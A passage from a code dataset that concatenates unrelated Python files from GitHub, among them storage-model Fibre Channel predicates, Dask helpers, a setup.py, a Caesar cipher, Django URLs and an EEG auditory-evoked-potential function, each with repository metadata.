DiskNotExists(DiskExists):\n \"\"\"Returns True if a disk with the given scsi_serial_number has gone away\"\"\"\n\n def __call__(self):\n return not super(DiskNotExists, self).__call__()\n\n\ndef build_connectivity_object_from_wwn(initiator_wwn, target_wwn):\n \"\"\"Returns a `infi.storagemodel.connectivity.FCConnectivity` instance for the given WWNs\"\"\"\n from infi.hbaapi import Port\n from ..connectivity import FCConnectivity\n local_port = Port()\n local_port.port_wwn = initiator_wwn\n remote_port = Port()\n remote_port.port_wwn = target_wwn\n return FCConnectivity(None, local_port, remote_port)\n\n\nclass MultipleFiberChannelMappingExist(object):\n \"\"\"Returns True if a lun mapping was discovered\"\"\"\n def __init__(self, initiators, targets, lun_numbers):\n\n super(MultipleFiberChannelMappingExist, self).__init__()\n self._initiators = initiators\n self._targets = targets\n self._lun_numbers = lun_numbers\n self._expected_mappings = []\n self._assert_on_rpyc_netref()\n\n def _assert_on_rpyc_netref(self):\n suspects = [self._initiators, self._targets, self._lun_numbers]\n suspects.extend(self._initiators)\n suspects.extend(self._targets)\n suspects.extend(self._lun_numbers)\n for item in suspects:\n assert type(item).__name__.lower() != 'netref'\n\n def _build_product(self):\n self._expected_mappings = [(build_connectivity_object_from_wwn(initiator_wwn, target_wwn), lun_number)\n for initiator_wwn, target_wwn, lun_number in\n product(self._initiators, self._targets, self._lun_numbers)]\n\n def _is_fc_connectivity_a_match(self, device):\n logger.debug(\"Connectivity details: {!r}, Lun {}\".format(device.get_connectivity(), device.get_hctl().get_lun()))\n for connectivity, lun_number in self._expected_mappings:\n if device.get_connectivity() == connectivity and device.get_hctl().get_lun() == lun_number:\n device.get_scsi_test_unit_ready()\n self._expected_mappings.remove((connectivity, lun_number))\n return True\n return False\n\n def _get_chain_of_devices(self, model):\n from itertools import chain\n return chain(model.get_scsi().get_all_scsi_block_devices(),\n model.get_scsi().get_all_storage_controller_devices())\n\n def __call__(self):\n from .. import get_storage_model\n model = get_storage_model()\n self._build_product()\n logger.debug(\"Working on: {!r}\".format(self))\n logger.debug(\"Looking for all scsi block devices\")\n logger.debug(\"Expecting to find {} matches\".format(len(self._expected_mappings)))\n for device in self._get_chain_of_devices(model):\n logger.debug(\"Found device: {!r}\".format(device))\n if self._is_fc_connectivity_a_match(device):\n logger.debug(\"Connectivity matches, only {} more to go\".format(self._expected_mappings))\n for device in model.get_native_multipath().get_all_multipath_block_devices():\n logger.debug(\"Found device: {!r}\".format(device))\n for path in device.get_paths():\n if self._is_fc_connectivity_a_match(path):\n logger.debug(\"Connectivity matches, only {} more to go\".format(self._expected_mappings))\n if self._expected_mappings:\n logger.debug(\"Did not find all the mappings, {} missing\".format(len(self._expected_mappings)))\n return False\n logger.debug(\"Found all expected mappings\")\n return True\n\n def __repr__(self):\n text = \"<{} (initiators={!r}, targets={!r}, luns={!r})>\"\n return text.format(self.__class__.__name__, self._initiators, self._targets, self._lun_numbers)\n\n\nclass FiberChannelMappingExists(MultipleFiberChannelMappingExist):\n \"\"\"Returns True if a lun mapping was discovered\"\"\"\n\n def __init__(self, initiator_wwn, target_wwn, lun_number):\n super(FiberChannelMappingExists, self).__init__([initiator_wwn], [target_wwn], [lun_number])\n\n\nclass MultipleFiberChannelMappingNotExist(MultipleFiberChannelMappingExist):\n \"\"\"Returns True if a lun un-mapping was discovered\"\"\"\n\n def __call__(self):\n from .. import get_storage_model\n model = get_storage_model()\n self._build_product()\n initial_count = len(self._expected_mappings)\n logger.debug(\"Working on: {!r}\".format(self))\n logger.debug(\"Looking for all scsi block devices\")\n logger.debug(\"Expecting to not find {} matches\".format(initial_count))\n for device in self._get_chain_of_devices(model):\n logger.debug(\"Found device: {!r}\".format(device))\n if self._is_fc_connectivity_a_match(device):\n logger.debug(\"Found a connectivity match I wasn't supposed to find\")\n return False\n for device in model.get_native_multipath().get_all_multipath_block_devices():\n logger.debug(\"Found device: {!r}\".format(device))\n for path in device.get_paths():\n if self._is_fc_connectivity_a_match(path):\n logger.debug(\"Found a connectivity match I wasn't supposed to find\")\n return False\n logger.debug(\"Did not find any of the expected mappings\")\n return True\n\n\nclass FiberChannelMappingNotExists(MultipleFiberChannelMappingNotExist):\n \"\"\"Returns True if a lun un-mapping was discovered\"\"\"\n\n def __init__(self, initiator_wwn, target_wwn, lun_number):\n super(FiberChannelMappingNotExists, self).__init__([initiator_wwn], [target_wwn], [lun_number])\n\n\nclass WaitForNothing(object):\n \"\"\"Returns True immediately without waiting for anything\"\"\"\n\n def __call__(self):\n return True\n\n def __repr__(self):\n return \"\"\n\n\nclass ScsiDevicesAreReady(object):\n \"\"\"Returns True when all SCSI devices are ready\"\"\"\n\n def __call__(self):\n from infi.storagemodel import get_storage_model\n model = get_storage_model()\n scsi = model.get_scsi()\n [device.get_scsi_test_unit_ready() for device in scsi.get_all_storage_controller_devices()]\n [device.get_scsi_test_unit_ready() for device in scsi.get_all_scsi_block_devices()]\n return True\n\n def __repr__(self):\n return \"\"\n\n\nclass MultipathDevicesAreReady(object):\n \"\"\"Returns True when all multipath devices are ready\"\"\"\n\n def __call__(self):\n from infi.storagemodel import get_storage_model\n model = get_storage_model()\n multipath = model.get_native_multipath()\n [device.get_scsi_test_unit_ready() for device in multipath.get_all_multipath_block_devices()]\n [device.get_scsi_test_unit_ready() for device in multipath.get_all_multipath_storage_controller_devices()]\n return True\n\n def __repr__(self):\n return \"\"\n","repo_name":"Infinidat/infi.storagemodel","sub_path":"src/infi/storagemodel/predicates/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":9042,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"7"} +{"seq_id":"23258987386","text":"import fleuristconf\nimport sys\n\ndef suggest(input,computer,nodes,efficiency):\n #First try to get the computer\n if computer:\n computernames=computer.split(\",\")\n else:\n computernames=[\"localhost\"]\n machines=fleuristconf.get_computer(computernames)\n if not machines:\n print(\"ERROR: no computer found\")\n sys.exit()\n \n #There might be several computers found:\n comp=[]\n res=[]\n for m in machines:\n if nodes:\n if m.maxnodes>nodes:\n m.maxnodes=0 #this machine is not available\n else:\n m.maxnodes=nodes\n m.minnodes=nodes\n #Find default config\n defaultconfig=m.find_best_config(input,efficiency=0.9)\n #Find possible less efficient config\n altconfig=m.find_best_config(input,efficiency=efficiency)\n if defaultconfig==altconfig:\n comp.append(m)\n res.append(defaultconfig)\n else:\n comp.append(m)\n res.append(defaultconfig)\n comp.append(m)\n res.append(altconfig)\n return comp,res\n\n","repo_name":"JuDFTteam/FLEUR","sub_path":"fleurist/fleurjobs.py","file_name":"fleurjobs.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"7"} +{"seq_id":"6318782237","text":"from typing import List, Optional\n\nfrom dask.distributed import Client, LocalCluster\nimport dask.dataframe as dd\nimport os, time\n\nimport RootPath\n\n\ndef read_dataset(dataset_path: str, columns: Optional[List[str]]) -> dd.DataFrame:\n if columns:\n #print(f\"Loading {columns=}\")\n return dd.read_parquet(dataset_path,\n columns=columns,\n engine='fastparquet'\n #engine='pyarrow'\n )\n else:\n print(f\"Loading all columns\")\n return dd.read_parquet(dataset_path,\n engine='fastparquet',\n #engine='pyarrow'\n )\n\n\ndef save_dataset(temp_output_path: str, data: dd.DataFrame, name: Optional[str] = None, schema=None):\n if not name:\n assert len(data.columns) == 1\n name = data.columns[0]\n\n print(f\"Saving output dataset: {name}\")\n start = time.time()\n data.to_parquet(os.path.join(temp_output_path, name),\n write_index=False,\n compression=\"snappy\",\n engine=\"pyarrow\",\n #engine='fastparquet',\n overwrite=\"True\",\n schema=schema\n )\n end = time.time()\n print(f\"Done. Time elapsed: {end-start}\")\n\n\n# def save_dict(dict_path:str, name:str, client: Client):\n# def helper(name):\n# w = get_worker()\n# dictionary = w.direct_dict\n#\n# print(f\"Saving mapping dictionary: {name=}, with size {sys.getsizeof(dictionary)/(10**6)} MB\")\n# start = time.time()\n# print(\"dictionary type:\", type(dictionary))\n# with gzip.GzipFile(os.path.join(dict_path, name + \"_dict\"), 'wb') as file:\n# pickle.dump(dictionary, file, protocol=pickle.HIGHEST_PROTOCOL)\n# end = time.time()\n# print(f\"Done. Time elapsed: {end-start}\")\n#\n# result = client.submit(helper, name)\n# result.result()\n\n\ndef start_cluster(n_workers=2, threads_per_worker=2, memory_limit=\"3GB\", processes=True):\n cluster = LocalCluster(\n n_workers=n_workers, threads_per_worker=threads_per_worker, memory_limit=memory_limit, processes=processes\n )\n client = Client(cluster) # use default n_threads and mem\n print(client)\n print(client.cluster)\n return client\n\n\ndef start_correct_cluster(is_test, use_processes):\n if is_test:\n c = start_cluster(n_workers=1, threads_per_worker=1, memory_limit=\"64GB\", processes=False)\n elif RootPath.is_aws():\n if use_processes:\n c = start_cluster(n_workers=8, threads_per_worker=1, memory_limit=\"32GB\", processes=True)\n else:\n c = start_cluster(n_workers=1, threads_per_worker=32, memory_limit=\"256GB\", processes=False)\n else:\n if use_processes:\n c = start_cluster(n_workers=2, threads_per_worker=1, memory_limit=\"4GB\", processes=True)\n else:\n c = start_cluster(n_workers=1, threads_per_worker=4, memory_limit=\"6GiB\", processes=False)\n return c\n\n\ndef parse_args():\n import argparse\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--no_dict_generation', action='store_false', dest='generate_dict')\n parser.add_argument('--is_test', action='store_true', dest='is_test')\n\n args = parser.parse_args()\n\n return args.generate_dict, args.is_test\n","repo_name":"recsyspolimi/recsys-challenge-2021-twitter","sub_path":"Scripts/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":3428,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"7"} +{"seq_id":"20104486170","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"The setup script.\"\"\"\n\nfrom setuptools import setup, find_packages\n\nwith open('README.rst') as readme_file:\n readme = readme_file.read()\n\nwith open('HISTORY.rst') as history_file:\n history = history_file.read()\n\nrequirements = [\n 'Click>=7.0', \n 'dvc>=0.70.0'\n]\n\nsetup_requirements = [ ]\n\ntest_requirements = [ ]\n\nsetup(\n author=\"Venkata Pingali\",\n author_email='pingali@scribbledata.io',\n python_requires='>=3.0',\n classifiers=[\n 'Development Status :: 2 - Pre-Alpha',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n ],\n description=\"Store computed features in DVC\",\n entry_points={\n 'console_scripts': [\n 'dvcfeatures=dvcfeatures.cli:main',\n ],\n },\n install_requires=requirements,\n license=\"MIT license\",\n long_description=readme + '\\n\\n' + history,\n include_package_data=True,\n keywords='dvcfeatures',\n name='dvcfeatures',\n packages=find_packages(include=['dvcfeatures', 'dvcfeatures.*']),\n setup_requires=setup_requirements,\n test_suite='tests',\n tests_require=test_requirements,\n url='https://github.com/pingali/dvcfeatures',\n version='0.1.0',\n zip_safe=False,\n)\n","repo_name":"pingali/dvcfeatures","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"41695668949","text":"def encrypt(text,rot):\n temp = list(text)\n new_text = \"\"\n new_char = \"\"\n if rot >= 26:\n rot = rot-26\n for i in temp: \n new_char = rotate_character(i,rot)\n new_text = new_text +new_char\n return new_text\n\ndef alphabet_position(letter):\n cap = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n lower = \"abcdefghijklmnopqrstuvwxyz\" \n temp = cap.find(letter)\n if temp == -1:\n return lower.find(letter)\n else:\n return temp\n\ndef rotate_character(char,rot):\n if char.isalpha():\n cap = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n lower = \"abcdefghijklmnopqrstuvwxyz\" \n temp_pos = alphabet_position(char)\n \n temp = cap.find(char)\n \n if temp == -1:\n new_pos = lower[temp_pos+rot-26] \n else:\n new_pos = cap[temp_pos+rot-26]\n return new_pos\n else:\n return char","repo_name":"JamesMPowell/web-caesar","sub_path":"caesar.py","file_name":"caesar.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"22453942870","text":"\"\"\"\nAn example usage of the python 'requests' module, which will permit\nus to retrieve data from wikipedia pages.\n\"\"\"\n\nimport requests\n\nAPI_URL = 'https://en.wikipedia.org/w/api.php'\n\nPARAMS = {\n # \"opensearch\" is the method we are using\n \"action\" : \"opensearch\",\n \"namespace\": \"0\",\n # \"search\" is the search term we are searching by\n \"search\" : \"totalitarian\",\n # \"limit\" is the maximum amount of results we expect to see\n \"limit\" : \"5\",\n \"format\" : \"json\"\n}\n\nif __name__ == \"__main__\":\n # performing 'get' request\n request_guy = requests.get(url=API_URL, params=PARAMS)\n data = request_guy.json()\n\n \"\"\"\n The action \"opensearch\" returns 3 parts:\n 0. the search term\n 1. various titles associated with the search\n 2. {not currently available} descriptions related to their\n respective titles\n 3. links to the titles' respective articles at wikipedia\n \"\"\"\n print(\"Search term: \" + data[0])\n print(\"Titles: \" + str(data[1]))\n print(\"Descriptions: \" + str(data[2]))\n print(\"Links: \" + str(data[3]))\n\n print(\"======================================\")\n # testing page parsing\n S = requests.Session()\n\n URL = \"https://en.wikipedia.org/w/api.php\"\n\n PARAMS = {\n \"action\": \"parse\",\n \"page\": \"List of totalitarian regimes\",\n \"format\": \"json\",\n \"section\" : 1\n #\"prop\" : \"sections\"\n }\n\n R = S.get(url=URL, params=PARAMS)\n DATA = R.json()\n\n new_data = (DATA[\"parse\"][\"text\"][\"*\"]).split('', visualizar_pedidos, name='PEDIDO'),\n path('pedido_e/', visualizar_pedidos_e, name='PEDIDO_CON_ESTADO'),\n path('registro_producto/', RegistroProducto.as_view(),name='registro_producto'),\n path('productos/', lista_producto,name='lista'),\n path('producto/', visualizacion_producto,name='VISTA_PRODUCTO'),\n \n path('tomar_pedido_staff/', TomarPedidoStaff.as_view(),name='TOMAR_PEDIDO_STAFF'),\n path('tomar_pedido_cliente/', TomarPedidoCliente.as_view(),name='TOMAR_PEDIDO_CLIENTE'),\n path('ag_pro_cliente/', funcion_para_guardar_cliente,name='AGREGAR_PRO_CLIENTE'),\n path('ag_pro_staff/', funcion_para_guardar_staff,name='AGREGAR_PRO_STAFF'),\n path('finalizar_pedido_staff/',FinalizarPedidoStaff.as_view(),name='FINALIZAR_PEDIDO'),\n path('finalizar_pedido_cliente/',FinalizarPedidoCliente.as_view(),name='FINALIZAR_PEDIDO'),\n path('limpiar_carrito_staff/', limpiar_carrito_staff,name=\"LIMPIAR_CARRITO_STAFF\"),\n path('limpiar_carrito_cliente/', limpiar_carrito_cliente,name=\"LIMPIAR_CARRITO_CLIENTE\"),\n path('modificar_estado/', modificar_estado_pedido,name=\"LIMPIAR_CARRITO\"),\n \n \n]\n","repo_name":"CRIS-LI-DEV/grupal_7","sub_path":"proyecto/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2440,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"37952746548","text":"import json\nimport os\nimport sys\nimport mariadb\n\ndef load_file(path_to_file):\n f=open(path_to_file);\n data=json.load(f);\n f.close();\n return data;\n\ndef load_data():\n path_to_file=\"icao_aircraft_types.json\";\n data=load_file(path_to_file);\n for type_name in data:\n value=data[type_name];\n description=value[\"desc\"];\n print(\"%s,%s\" % (type_name,description));\n\ndef __test():\n data=load_file(\"icao_aircraft_types.json\");\n print(data);\n\nif __name__ == '__main__':\n #__test();\n load_data();\n","repo_name":"hfrvbjjtfvnjgfcvnj/crows_nest","sub_path":"load_icao_type_descriptions.py","file_name":"load_icao_type_descriptions.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"4330334179","text":"# UFCG - PROG1\n# Gabriel Erik Silva Nunes 121110201\n# gabriel.erik.nunes@ccc.ufcg.edu.br\n# Programa que recebe dois números e diz qual é o maior\n\n# Entrada\nnumero_1 = float(input('Forneça um número: '))\nnumero_2 = float(input('Forneça outro número: '))\n\n# Saída\nif numero_1 > numero_2:\n print(f'O {numero_1} é maior que o {numero_2}')\nelif numero_1 == numero_2:\n print(f'O {numero_1} é igual ao {numero_2}')\nelse:\n print(f'O {numero_2} é maior que o {numero_1}')\n","repo_name":"gabrieleriksn/python-studies","sub_path":"studies/prog1anotations/exercicios_condicionais/question01.py","file_name":"question01.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1213934211","text":"import requests\r\nimport base64\r\nimport os\r\n\r\nBASE_PATH = \"/home/tandonsa/PycharmProjects/side_project/ocr_mawaqif/app/notebooks\"\r\ndocker_url = 'http://172.17.0.2:80/predict'\r\nlocal_url = 'http://127.0.0.1:8000/predict'\r\n\r\n\r\ndef process():\r\n img_path = os.path.join(BASE_PATH, 'test_imgs/31.jpg')\r\n print(\"Testing {}\".format(img_path))\r\n encodedImage = base64.b64encode(open(img_path, \"rb\").read()).decode()\r\n payload = {\r\n 'img_string': encodedImage,\r\n 'detector': False,\r\n 'debug': False\r\n }\r\n\r\n response = requests.post(docker_url, json=payload)\r\n print(response.json())\r\n\r\n\r\nif __name__ == '__main__':\r\n process()\r\n","repo_name":"Samarth-991/Licence_plate-Detection","sub_path":"src/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72844695582","text":"# Copyright 2022 Huawei Technologies Co., Ltd\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n\r\n#coding=utf-8\r\n\r\nimport os\r\nfrom PIL import Image\r\nimport numpy as np\r\nfrom glob import glob\r\nfrom torchvision import datasets, transforms\r\nimport argparse\r\n\r\nparser = argparse.ArgumentParser(description=\"trans pth to onnx usage\")\r\nparser.add_argument( '--src_path', type=str, default='/home/datasets/WIDERFace/WIDER_val/images/', \r\n help='Default val data location(default: %(default)s)')\r\nargs = parser.parse_args()\r\n\r\ndef img2bin(src_path, save_path):\r\n preprocess = transforms.Compose([\r\n transforms.Resize(256, Image.BICUBIC),\r\n transforms.CenterCrop(224),\r\n transforms.ToTensor(),\r\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\r\n ])\r\n\r\n i = 0\r\n in_files = os.listdir(src_path)\r\n for file in in_files:\r\n i = i + 1\r\n print(file, \"===\", i)\r\n files = os.listdir(src_path + '/' + file)\r\n for re_file in files:\r\n img_file = src_path + \"/\" + file + \"/\" + re_file\r\n input_image = Image.open(img_file).convert('RGB')\r\n input_tensor = preprocess(input_image)\r\n img = np.array(input_tensor).astype(np.float32)\r\n img.tofile(os.path.join(save_path, re_file.split('.')[0] + \".bin\"))\r\n\r\ndef bin2info(bin_dir, info_data, width, height):\r\n bin_images = glob(os.path.join(bin_dir, '*.bin'))\r\n with open(info_data, 'w') as file:\r\n for index, img in enumerate(bin_images):\r\n print('str(index)', str(index), 'img', img)\r\n img = \"./bin_out\" + img.split(\"bin_out\")[1]\r\n content = ' '.join([str(index), img, str(width), str(height)])\r\n file.write(content)\r\n file.write('\\n')\r\n\r\nif __name__ == \"__main__\":\r\n \r\n bin_path = \"./bin_out/\"\r\n info_path = \"info_result.info\"\r\n img2bin(args.src_path, bin_path)\r\n bin2info(bin_path, info_path, 224, 224)","repo_name":"Ascend/ModelZoo-PyTorch","sub_path":"ACL_PyTorch/contrib/cv/detection/DSFD/dsfd_preprocess.py","file_name":"dsfd_preprocess.py","file_ext":"py","file_size_in_byte":2456,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"7"} +{"seq_id":"7594057436","text":"import argparse\nimport csv\nimport logging\nimport os\nfrom pathlib import Path\nimport re\n\nimport openai\nfrom pv211_utils.arqmath.entities import ArqmathQueryBase as Topic\nfrom pv211_utils.arqmath.loader import load_queries as load_topics\nfrom tqdm import tqdm\n\n\nCOMPLETION_PARAMETERS = {\n 'engine': 'text-davinci-002',\n 'max_tokens': 570,\n 'temperature': 0.7,\n}\n\nLOGGER = logging.getLogger(__name__)\n\n\ndef produce_answer(topic: Topic, max_answer_length: int = 1200) -> str:\n prompt = f'Q: {topic.title}\\n\\n{topic.body}\\n\\n'\n while True:\n answer = openai.Completion.create(\n prompt=prompt,\n **COMPLETION_PARAMETERS\n )\n choice, = answer['choices']\n if choice['finish_reason'] != 'stop':\n continue\n text = choice['text']\n text = re.sub('.*A:', '', text).strip()\n if len(text) <= max_answer_length:\n break\n return text\n\n\ndef produce_results(output_file: Path, year: int) -> None:\n topics = load_topics('text+latex', year=year)\n with output_file.open('wt', newline='', encoding='utf-8') as f:\n csv_writer = csv.writer(f, delimiter='\\t', quoting=csv.QUOTE_MINIMAL)\n for topic_id, topic in tqdm(topics.items()):\n answer = produce_answer(topic)\n row = (f'A.{topic_id}', '1', '1.0', 'GPT3', 'GPT3', answer)\n csv_writer.writerow(row)\n\n\ndef main() -> None:\n logging.basicConfig(level=logging.INFO, format='%(levelname)s: %(message)s')\n openai.api_key = os.getenv('OPENAI_API_KEY')\n\n parser = argparse.ArgumentParser(description='Produce GPT-3 baseline results for ARQMath Task 3')\n parser.add_argument('-out', help='Output result file in ARQMath format for ARQMath Task 3', required=True)\n parser.add_argument('-year', help='The year of the topics that we produce the results for', required=True)\n\n args = parser.parse_args()\n output_file = Path(args.out)\n year = int(args.year)\n\n produce_results(output_file, year)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Witiko/arqmath3-openqa-tools","sub_path":"scripts/produce_task3_baseline.py","file_name":"produce_task3_baseline.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"74182818782","text":"def aep(raw, aeplist, exB_AEPlist, exE_AEPlist, aepxvallist, fsample, blocksize, channelofint, epoeventval,\n pretrig, posttrig, stim_values, segment):\n\n import numpy as np\n\n if epoeventval in stim_values:\n indexes = [i for i, e in enumerate(stim_values) if e == epoeventval]\n # print(\n # \"\\nAEP Subject {3}:\\n{0} event(s) with value {1} found in this segment at location(s) {2}, \" \\\n # \"performing AEP calculation...\"\n # .format(len(indexes), epoeventval, indexes, mode + 1))\n print(\n \"\\nAEP :\\n{0} event(s) with value {1} found in this segment at location(s) {2}, \" \\\n \"performing AEP calculation...\"\n .format(len(indexes), epoeventval, indexes))\n\n # band pass filter\n raw = raw.copy().filter(l_freq=3.0, h_freq=7.0, picks=None, filter_length='auto', l_trans_bandwidth='auto',\n h_trans_bandwidth='auto', n_jobs=1, method='iir', iir_params=None, phase='zero',\n fir_window='hamming', fir_design='firwin',\n skip_by_annotation=('edge', 'bad_acq_skip'), pad='reflect_limited', verbose=None)\n # Add stim channel back in\n # info_stim = mne.create_info(['stim'], sfreq=self.fSamp, ch_types=['stim'])\n # raw_stim = RawArray(np.asarray(self.stim_values).reshape(1, len(self.stim_values)), info_stim)\n # raw = raw.add_channels([raw_stim], force_update_info=True)\n # raw._data[self.stim_idx] = self.stim_values # restores events destroyed by filtering\n data = raw.get_data()\n\n goodevent = False\n for testevent in indexes:\n testfirstSamp = round(testevent - (pretrig * fsample))\n testlastSamp = round(testevent + (posttrig * fsample))\n if (0 < testfirstSamp) & (testlastSamp < blocksize):\n goodevent = True\n\n firstloop = True\n append_aep = False\n mAEP1amp = []\n\n\n for event in indexes:\n terminate = False\n firstSamp = round(event - (pretrig * fsample))\n lastSamp = round(event + (posttrig * fsample))\n\n if firstSamp < 0:\n print(\n \"Event with value {} is at extreme beginning of segment. No calculation performed, \"\n \"marker added.\".format(epoeventval))\n if firstloop and not goodevent:\n aeplist.append(0)\n aepxvallist.append(segment)\n exB_AEPlist.append(segment)\n # self.aep_plot(data=np.zeros(round((posttrig + pretrig) * fsample)), mode=mode)\n terminate = True\n\n if lastSamp > blocksize:\n print(\"Event with value {} is at extreme end of segment. No calculation performed, marker added.\"\n .format(epoeventval))\n if firstloop and not goodevent:\n aeplist.append(0)\n aepxvallist.append(segment)\n exE_AEPlist.append(segment)\n terminate = True\n\n if not terminate:\n append_aep = True\n dat = data\n dat = np.delete(dat, np.arange(lastSamp - 1, blocksize), axis=1)\n dat = np.delete(dat, np.arange(0, firstSamp - 1), axis=1)\n row_idx = np.array(channelofint) # picks; add 128 to each number for participant 2\n print(\"using {0} channels: {1}\".format(len(row_idx), row_idx))\n dat = dat[row_idx, :]\n\n # baseline correction\n temp_dat = dat[:, 0:int(pretrig * fsample)]\n for idx, chan in enumerate(temp_dat):\n ch_mean = np.mean(chan)\n dat[idx] -= ch_mean\n\n # Define peaks of interest: N1 (110 ? 150 ms), P1 (210 ? 250 ms), and N2 (310 ? 350 ms).\n times = np.array([[.110, .150], [.210, .250], [.310, .350]])\n for a, b in enumerate(times):\n for c, d in enumerate(b):\n times[a, c] = round(d * fsample + pretrig * fsample)\n times = times.astype(int)\n # calculate AEP peak amplitude\n AEPamps = []\n for ch in dat:\n N1 = sum(ch[times[0, 0]:times[0, 1]]) / (times[0, 1] - times[0, 0])\n P1 = sum(ch[times[1, 0]:times[1, 1]]) / (times[1, 1] - times[1, 0])\n N2 = sum(ch[times[2, 0]:times[2, 1]]) / (times[2, 1] - times[2, 0])\n average = (-N1 + P1 - N2) / 3 # Confirm this equation\n AEPamps.append(average)\n mAEPamp = sum(AEPamps) / len(AEPamps)\n print(\"Average AEP peak amplitude: \", mAEPamp)\n aepxvallist.append(segment)\n mAEP1amp.append(mAEPamp)\n\n firstloop = False\n\n if append_aep and len(mAEP1amp) > 0:\n aeplist.append(np.mean(mAEP1amp))\n\n return aeplist, aepxvallist, exB_AEPlist, exE_AEPlist\n\n else:\n # print(\"\\nAEP Subject {0}:\\nno events with value {1} found in this segment, AEP calculation not performed\"\n # .format(mode + 1, epoeventval))\n print(\"\\nno events with value\", epoeventval, \"found in this segment, AEP calculation not performed\")\n aeplist.append(0.)\n aepxvallist.append(segment)\n return aeplist, aepxvallist, exB_AEPlist, exE_AEPlist\n\n\n\n# def aep_plot(self, data, mode, fsample):\n# if mode == 0:\n# y = 0\n# AEPs = self.AEPs1\n# exB_AEPs = self.exB_AEPs1\n# exE_AEPs = self.exE_AEPs1\n# AEPxval = self.AEP1xval\n# pretrig = self.pretrig1\n# posttrig = self.posttrig1\n# elif mode == 1:\n# y = 2\n# AEPs = self.AEPs2\n# exB_AEPs = self.exB_AEPs2\n# exE_AEPs = self.exE_AEPs2\n# AEPxval = self.AEP2xval\n# pretrig = self.pretrig2\n# posttrig = self.posttrig2\n# dat = data.transpose()\n#\n# if self.plotpref != 'none':\n# self.ax[0, y].cla() # clears the axes to prepare for new data\n# self.ax[0, y + 1].cla()\n# x = np.arange((-1 * pretrig), posttrig, (posttrig + pretrig) / int(\n# (posttrig + pretrig) * fsample)) # generate x axis values (time)\n#\n# # plots standard deviation if data is not 0\n# if data.ndim > 1:\n# sdAEPamp = dat.std(axis=1)\n# dat = data.mean(axis=0)\n# self.ax[0, y].fill_between(x, dat + sdAEPamp, dat - sdAEPamp, facecolor='red', alpha=0.3)\n#\n# # plots the data against time\n# self.ax[0, y].plot(x, dat, color='black')\n#\n# # format AEP vs time plot\n# self.ax[0, y].axvline(x=0, color='red')\n# self.ax[0, y].axvspan(.110, .150, alpha=0.3, color='green')\n# self.ax[0, y].axvspan(.210, .250, alpha=0.3, color='green')\n# self.ax[0, y].axvspan(.310, .350, alpha=0.3, color='green')\n# self.ax[0, y].hlines(0, -1 * pretrig, posttrig)\n# self.ax[0, y].set_title('Subject {0} AEP'.format(mode + 1))\n# self.ax[0, y].set_xlabel('Time (s)')\n# self.ax[0, y].set_ylabel('Volts')\n#\n# # generate plot of all AEP peak indexes\n# x = AEPxval\n# print(AEPs, len(x), len(AEPs))\n# self.ax[0, y + 1].bar(x, AEPs, width=0.4)\n# self.ax[0, y + 1].bar(exB_AEPs, .000001, width=0.2, alpha=.5)\n# self.ax[0, y + 1].bar(exE_AEPs, -.000001, width=0.2, alpha=.5)\n# # self.ax[0, y + 1].axis(xmin=-3)\n# for i, v in zip(AEPxval, AEPs):\n# if v != 0.:\n# self.ax[0, y + 1].text(i - .5, v, str(round(v, 10)))\n# self.ax[0, y + 1].hlines(0, 0, self.segment)\n# self.ax[0, y + 1].set_title('Subject {} AEP Peak Amplitude Index'.format(mode + 1))\n# self.ax[0, y + 1].set_xlabel('Segment #')\n# self.ax[0, y + 1].set_ylabel('AEP Peak Index (V)')\n","repo_name":"justinhyon/RHYTHME","sub_path":"src/rhythme/non-python/misc/Codes/aep.py","file_name":"aep.py","file_ext":"py","file_size_in_byte":7976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"17426768707","text":"import sqlalchemy.engine\nfrom sqlalchemy import create_engine\nfrom django.apps import apps\nimport environ\n\nenv = environ.Env()\nenv.read_env()\nlocalhoststr = 